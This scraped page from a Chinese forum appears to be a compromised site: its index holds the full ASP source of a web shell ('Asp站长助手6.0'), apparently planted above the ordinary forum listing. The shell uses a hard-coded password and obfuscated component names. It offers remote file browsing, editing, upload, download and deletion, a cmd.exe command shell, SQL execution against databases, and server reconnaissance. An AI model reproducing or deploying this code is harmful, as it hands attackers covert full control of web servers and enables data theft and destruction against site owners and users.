国内使用量最大的动网论坛 <% '########版权所有 - 桂林老兵站www.gxgl.com
Server.ScriptTimeout=50000 Response.Buffer = True On Error Resume Next
ApplicationName = "Asp站长助手6.0" '#####程序名称/标题 UserPass = "jhackj" '#####初始登录密码 ShowFileIco = True '#####是否显示图标,False为用文字图标
IcoPath = "http://www.GXGL.com/images/FileType/" '#####图标目录,不必修改 URL = Request.ServerVariables("URL") ServerIP = Request.ServerVariables("LOCAL_ADDR")
Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath") FName = Request("FName") BackUrl = ""
If Session("GXGL")<>UserPass Then If Request.Form("LPass")<>"" Then
If Request.Form("LPass")=UserPass Then Session("GXGL")=UserPass Response.Redirect URL
Else response.write"验证失败!" End If
Else If Request("action")<>"login" then Response.Redirect"/" SI="


欢迎使用ASP站长助手

"
SI=SI&"
"
SI=SI&"请输入密码:" SI=SI&" "
Response.Write SI End If Response.End
End If sub ShowErr()
If Err Then Response.Write"

 " & Err.Description & "

"
Err.Clear:Response.Flush
End If end sub
Dim ObT(13,2) ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
ObT(0,2) = "文件操作组件" ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll" ObT(1,2) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog" ObT(2,2) = "ACCESS建库组件" ObT(3,0) = "JRO.JetEngine"
ObT(3,2) = "ACCESS压缩组件" ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary" ObT(4,2) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection" ObT(5,2) = "数据库连接组件" ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
ObT(6,2) = "数据流上传组件" ObT(7,0) = "SoftArtisans.FileUp" ObT(7,2) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile" ObT(8,2) = "刘云峰文件上传组件" ObT(9,0) = "Persits.Upload.1"
ObT(9,2) = "ASPUpload 文件上传组件" ObT(10,0) = "JMail.SmtpMail" ObT(10,2) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail" ObT(11,2) = "虚拟SMTP发信组件" ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,2) = "SmtpMail发信组件" ObT(13,0) = "Microsoft.XMLHTTP" ObT(13,2) = "数据传输组件"
For i=0 To 13 Set T=Server.CreateObject(ObT(i,0))
If -2147221005 <> Err Then IsObj=True Else
IsObj=false Err.Clear End If
Set T=Nothing ObT(i,1)=IsObj Next
Function RePath(S)
RePath=Replace(S,"\","\\") End Function
Function RRePath(S) RRePath=Replace(S,"\\","\") End Function
If FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath)
End If If Session("FolderPath")="" Then
FolderPath=RootPath Session("FolderPath")=FolderPath End if
Function IsIco(ia,ib,ta) If ShowFileIco=true Then
IsIco = " " If ib<>"" Then IsIco = " "
End If Else IsIco = " "&ta&" "
End If End Function
Function MainForm() SI="
"
SI=SI&""
SI=SI&"" SI=SI&"" SI=SI&"" "
SI=SI&"
" SI=SI&""
SI=SI&"
"
SI=SI&"
地址栏:" SI=SI&"" SI=SI&""
SI=SI&"
" SI=SI&" SI=SI&""
SI=SI&"" SI=SI&"
"
Response.Write SI
End Function
Function MainMenu() SI="" " " " " " " " " " " " " " " " " "
SI=SI&"
SI=SI&"
 " SI=SI&IsIco("minus.gif","computer.gif","o")&"FSO文件操作模块" SI=SI&"
If Not ObT(0,1) Then SI=SI&"
Else
Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing SI=SI&"
    " SI=SI& IsIco("minus.gif","folder.gif","0")
SI=SI&"C:\Progra~1" SI=SI&"
SI=SI&"
    "
SI=SI& IsIco("minus.gif","folder.gif","0") SI=SI&"C:\Docume~1" SI=SI&"
SI=SI&"
    " SI=SI& IsIco("minus.gif","folder.gif","0") SI=SI&"站点根目录"
SI=SI&"
SI=SI&"
    " SI=SI& IsIco("minus.gif","folder.gif","0")
SI=SI&"本程序目录" SI=SI&"
SI=SI&"
      "
SI=SI& IsIco("minus.gif","newfolder.gif","1") SI=SI&"新建目录" SI=SI&"
SI=SI&"
      " SI=SI&IsIco("minus.gif","newfile.gif","2") SI=SI&"新建文本"
SI=SI&"
End If Response.Write SI:SI=""
SI=SI&"
 " SI=SI&IsIco("minus.gif","main.gif","8")
SI=SI&"文件上传模块" SI=SI&"
SI=SI&"
 "
SI=SI&IsIco("plus.gif","main.gif","o") SI=SI&"数据库操作模块" SI=SI&"
SI=SI&"
    " SI=SI&IsIco("minus.gif","newfile.gif","4") SI=SI&"建立MDB文件"
SI=SI&"
SI=SI&"
    " SI=SI&IsIco("minus.gif","mdb.gif","4")
SI=SI&"数据库操作" SI=SI&"
SI=SI&"
    "
SI=SI&IsIco("minus.gif","zip.gif","4") SI=SI&"压缩MDB文件" SI=SI&"
SI=SI&"
 " SI=SI&IsIco("minus.gif","cmd.gif","o") SI=SI&"命令行模块"
SI=SI&"
SI=SI&"
 " SI=SI&IsIco("minus.gif","main.gif","f")
SI=SI&"退出登录" SI=SI&"
SI=SI&"
 "
SI=SI&IsIco("minus.gif","main.gif","f") SI=SI&"服务器信息" SI=SI&"
SI=SI&"
 " SI=SI&IsIco("minus.gif","htm.gif","f") SI=SI&"桂林老兵站"
SI=SI&"
"
Response.Write SI : SI="" End Function
Function ServerInfo() SI="
" "  " " " " "
SI=SI&"
服务器组件信息
SI=SI&"
服务器CPU数量 "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&" 
SI=SI&"
服务器操作系统 "&Request.ServerVariables("OS")&" 
SI=SI&"
WEB服务器版本 "&Request.ServerVariables("SERVER_SOFTWARE")&" 
For i=0 To 13 SI=SI&"
"&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"
Next Response.Write SI End Function
Function DownFile(Path) Response.Clear
Set OSM = CreateObject(ObT(6,0)) OSM.Open OSM.Type = 1
OSM.LoadFromFile Path Response.AddHeader "Content-Disposition", "attachment; filename=" & Path Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream" Response.BinaryWrite OSM.Read Response.Flush
OSM.Close Set OSM = Nothing End Function
Function HTMLEncode(S)
if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<")
S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ")
HTMLEncode = S end if End Function
Function UpFile() If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then
SI="
请输入上传的完全路径后选择一个文件上传!"
Else F.SaveAs UName
If Err.number=0 Then SI="



文件"&UName&"上传成功!
"
End if
End If Set F=nothing:Set U=nothing SI=SI&BackUrl
Response.Write SI ShowErr() Response.End
End If SI="


"
SI=SI&"
"
SI=SI&"
" SI=SI&"上传路径: " SI=SI&""
SI=SI&"" SI=SI&"
"
Response.Write SI
End Function Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "cmd.exe"
If Request("cmd")<>"" Then DefCmd = Request("cmd") SI="
"
SI=SI&"" SI=SI&"SHELL路径:" Response.Write SI
End Function Function CreateMdb(Path)
SI="

"
Set C = CreateObject(ObT(2,0)) C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path)
Set C = Nothing If Err.number=0 Then SI = SI & Path & "建立成功!"
End If SI=SI&BackUrl Response.Write SI
End function Function CompactMdb(Path)
If Not ObT(0,1) Then Set C=CreateObject(ObT(3,0)) C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path
Set C=Nothing Else Set FSO=CreateObject(ObT(0,1))
If FSO.FileExists(Path) Then Set C=CreateObject(ObT(3,0)) C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak"
Set C=Nothing FSO.DeleteFile Path FSO.MoveFile Path&"_bak",Path
Else SI="



数据库"&Path&"没有发现!
"
Err.number=1
End If Set FSO=Nothing End If
If Err.number=0 Then SI="



数据库"&Path&"压缩成功!
"
End If
SI=SI&BackUrl Response.Write SI End Function
Function DbManager()
SqlStr=Trim(Request.Form("SqlStr")) DbStr=Request.Form("DbStr")
SI=SI&"" " " " " " "
SI=SI&"
"
SI=SI&"
 数据库连接串:
SI=SI&" SI=SI&" SI=SI&""
SI=SI&"" SI=SI&"" SI=SI&""
SI=SI&"
SI=SI&"" SI=SI&"
 SQL操作命令:
SI=SI&" SI=SI&" SI=SI&"
"
Response.Write SI:SI="" If Len(DbStr)>40 Then
Set Conn=CreateObject(ObT(5,0)) Conn.Open DbStr
Set Rs=Conn.OpenSchema(20) SI=SI&"" "

Rs.MoveFirst
Do While Not Rs.Eof If Rs("TABLE_TYPE")="TABLE" then TName=Rs("TABLE_NAME")
SI=SI&"[ del ]
"
SI=SI&""&TName&" End If
Rs.MoveNext Loop Set Rs=Nothing
SI=SI&"
"
Response.Write SI:SI=""
If Len(SqlStr)>10 Then
If LCase(Left(SqlStr,6))="select" then SI=SI&"执行语句:"&SqlStr
Set Rs=CreateObject("Adodb.Recordset") Rs.open SqlStr,Conn,1,1 FN=Rs.Fields.Count
RC=Rs.RecordCount Rs.PageSize=20 Count=Rs.PageSize
PN=Rs.PageCount Page=request("Page") If Page<>"" Then Page=Clng(Page)
If Page="" Or Page=0 Then Page=1 If Page>PN Then Page=PN If Page>1 Then Rs.absolutepage=Page
SI=SI&"" " " " " "
For n=0 to FN-1 Set Fld=Rs.Fields.Item(n)
SI=SI&""&Fld.Name&" Set Fld=nothing Next
SI=SI&"
Do While Not(Rs.Eof or Rs.Bof) And Count>0
Count=Count-1 Bgcolor="#EFEFEF" SI=SI&"
x
For i=0 To FN-1 If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if If RC=1 Then
ColInfo=HTMLEncode(Rs(i)) Else ColInfo=HTMLEncode(Left(Rs(i),50))
End If SI=SI&""&ColInfo&" Next
SI=SI&"
Rs.MoveNext Loop
Response.Write SI:SI=""
SqlStr=HtmlEnCode(SqlStr) SI=SI&"
记录数:"&RC&" 页码:"&Page&"/"&PN
If PN>1 Then SI=SI&"  首页 上一页 " If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
For i=Sp To Sp+8 If i>PN Then Exit For If i=Page Then
SI=SI&i&" " Else SI=SI&""&i&" "
End If Next SI=SI&" 下一页 尾页"
End If SI=SI&"
"
Rs.Close:Set Rs=Nothing
Response.Write SI:SI="" Else
Conn.Execute(SqlStr) SI=SI&"SQL语句:"&SqlStr End If
Response.Write SI:SI="" End If
Conn.Close Set Conn=Nothing
End If End Function %>
<%=ApplicationName&" - "&ServerIP%>
<% Dim T1 Class UPC
Dim D1,D2 Public Function Form(F)
F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function
Public Function UA(F) F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function
Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa)
set D2=CreateObject(ObT(4,0)) vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1
while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open
T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL
end if else T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312"
SFV = T2.ReadText T2.Close if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV
end if end if DStart=DStart+TLen+1
wend TDa="" set T2 =nothing
End Sub Private Sub Class_Terminate
if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing end if End Sub
End Class Class FIF
dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0
FileStart= 0 End Sub
Public function SaveAs(F) dim T3 SaveAs=true
if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2
T3.Close set T3=nothing SaveAs=false
end function End Class
Class LBF Dim CF
Private Sub Class_Initialize SET CF=CreateObject(ObT(0,0)) End Sub
Private Sub Class_Terminate Set CF=Nothing
End Sub Function ShowDriver()
For Each D in CF.Drives SI=SI&"
  " SI=SI&IsIco("plus.gif","driver.gif","v")
SI=SI&"本地磁盘 ("&D.DriveLetter&":)" SI=SI&"
Next
ShowDriver=SI End Function
Function FileIco(FName) If ShowFileIco=true Then TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.fla.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip"
FileType = lcase(Mid(FName, InstrRev(FName,".")+1)) If Instr(TypeList,"."&FileType)>0 then Ico = FileType&".gif"
Else Ico = "default.gif" End If
FileIco = " " Else
FileIco="2 " End If End Function
Function ShowFile(Path) Set FOLD=CF.GetFolder(Path)
i=0 SI="" "
For Each F in FOLD.subfolders
SI=SI&"" SI=SI&IsIco("","folder.gif","0") SI=SI&" "&F.Name&""
SI=SI&" | D" SI=SI&" C" SI=SI&" M"
i=i+1 If i mod 3 = 0 then SI=SI&"
Next
SI=SI&"
"
Response.Write SI : SI=""
For Each L in Fold.files SI="" " " " " " " " " "
SI=SI&"
SI=SI&""&FileIco(L.Name) SI=SI&""&L.Name&" SI=SI&""&L.Type&"
SI=SI&""&clng(L.size/1024)&"K SI=SI&""&L.DateLastModified&" SI=SI&"edit
SI=SI&"del SI=SI&"copy SI=SI&"move
SI=SI&"
"
Response.Write SI : SI="" Next
Set FOLD=Nothing End function
Function DelFile(Path) If CF.FileExists(Path) Then CF.DeleteFile Path
SI="



文件 "&Path&" 删除成功!
"
SI=SI&BackUrl Response.Write SI
End If End Function
Function EditFile(Path) If Request("Action2")="Post" Then Set T=CF.CreateTextFile(Path)
T.WriteLine Request.form("content") T.close Set T=nothing
SI="



文件保存成功!
"
SI=SI&BackUrl Response.Write SI
Response.End End If
If Path<>"" Then Set T=CF.opentextfile(Path, 1, False) Txt=HTMLEncode(T.readall)
T.close Set T=Nothing Else
Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件" End If
SI="
" SI=SI&"
"
SI=SI&""
SI=SI&"
"
SI=SI&"
"
SI=SI&"
      "
SI=SI&"
"
Response.Write SI End Function
Function CopyFile(Path) Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.CopyFile Path(0),Path(1) SI="



文件"&Path(0)&"复制成功!
"
SI=SI&BackUrl Response.Write SI End If
End Function Function MoveFile(Path)
Path = Split(Path,"||||") If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.MoveFile Path(0),Path(1)
SI="



文件"&Path(0)&"移动成功!
"
SI=SI&BackUrl Response.Write SI
End If End Function
Function DelFolder(Path) If CF.FolderExists(Path) Then CF.DeleteFolder Path
SI="



目录"&Path&"删除成功!
"
SI=SI&BackUrl Response.Write SI
End If End Function
Function CopyFolder(Path) Path = Split(Path,"||||") If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.CopyFolder Path(0),Path(1) SI="



目录"&Path(0)&"复制成功!
"
SI=SI&BackUrl
Response.Write SI End If End Function
Function MoveFolder(Path) Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then CF.MoveFolder Path(0),Path(1) SI="



目录"&Path(0)&"移动成功!
"
SI=SI&BackUrl Response.Write SI End If
End Function Function NewFolder(Path)
If Not CF.FolderExists(Path) and Path<>"" Then CF.CreateFolder Path SI="



目录"&Path&"新建成功!
"
SI=SI&BackUrl Response.Write SI End If
End Function End Class
Select Case Action Case "MainMenu":MainMenu()
Case "ShowFile" Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing Case "DownFile":DownFile FName:ShowErr()
Case "DelFile" Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing Case "EditFile"
Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing Case "CopyFile" Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
Case "MoveFile" Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing Case "DelFolder"
Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing Case "CopyFolder" Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
Case "MoveFolder" Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing Case "NewFolder"
Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing Case "UpFile":UpFile() Case "Logout":Session.Contents.Remove("GXGL"):Response.Redirect URL
Case "CmdShell":CmdShell() Case "CreateMdb":CreateMdb FName Case "CompactMdb":CompactMdb FName
Case "DbManager":DbManager() Case "ServerInfo":ServerInfo() Case Else MainForm()
End Select ShowErr() %>
欢迎访问 欢迎各位光临 您还没有[注册]或[登录
用户帐号: 验证码:验证码,看不清楚?请点击刷新验证码
用户密码: Cookie
会员总数:1891
最新会员:[ 本人路过随便拿站 ]


今日发贴:0
主题总数:1308
昨日发帖:0
帖子总数:1685
最高日发帖:155 篇,发生时间:2007-7-29 21:44:40
版主
最后发表
总贴
新帖
论坛
状态
发贴:jj1iorabc
日期:2008-4-12 10:07:04
发贴总数 6
今日发贴数 0
开放的论坛,无新贴子
为了本站的发展,欢迎大家多提宝贵意见及建议。
发贴:jj1iorabc
日期:2008-4-12 10:07:52
发贴总数 14
今日发贴数 0
开放的论坛,无新贴子
这里是社区版主交流和社区公告发布的地方
主题:
发贴:
日期:2008-6-12 0:49:50
发贴总数 0
今日发贴数 0
开放的论坛,无新贴子
本人路过随便拿站
版主
最后发表
总贴
新帖
论坛
状态
发贴:fd4einjds
日期:2007-7-21 3:45:51
发贴总数 12
今日发贴数 0
开放的论坛,无新贴子
这是一片任山花浪漫的净土,满园子传来青草和树木的低语,坚定的目光迎来那第一缕晨曦的呵护。你、我栖憩于此,捕捉一对蝴蝶的翅膀,把动静分明的青春,做成标本镶在流年里诵读……
发贴:jj1iorabc
日期:2008-4-12 10:07:29
发贴总数 9
今日发贴数 0
开放的论坛,无新贴子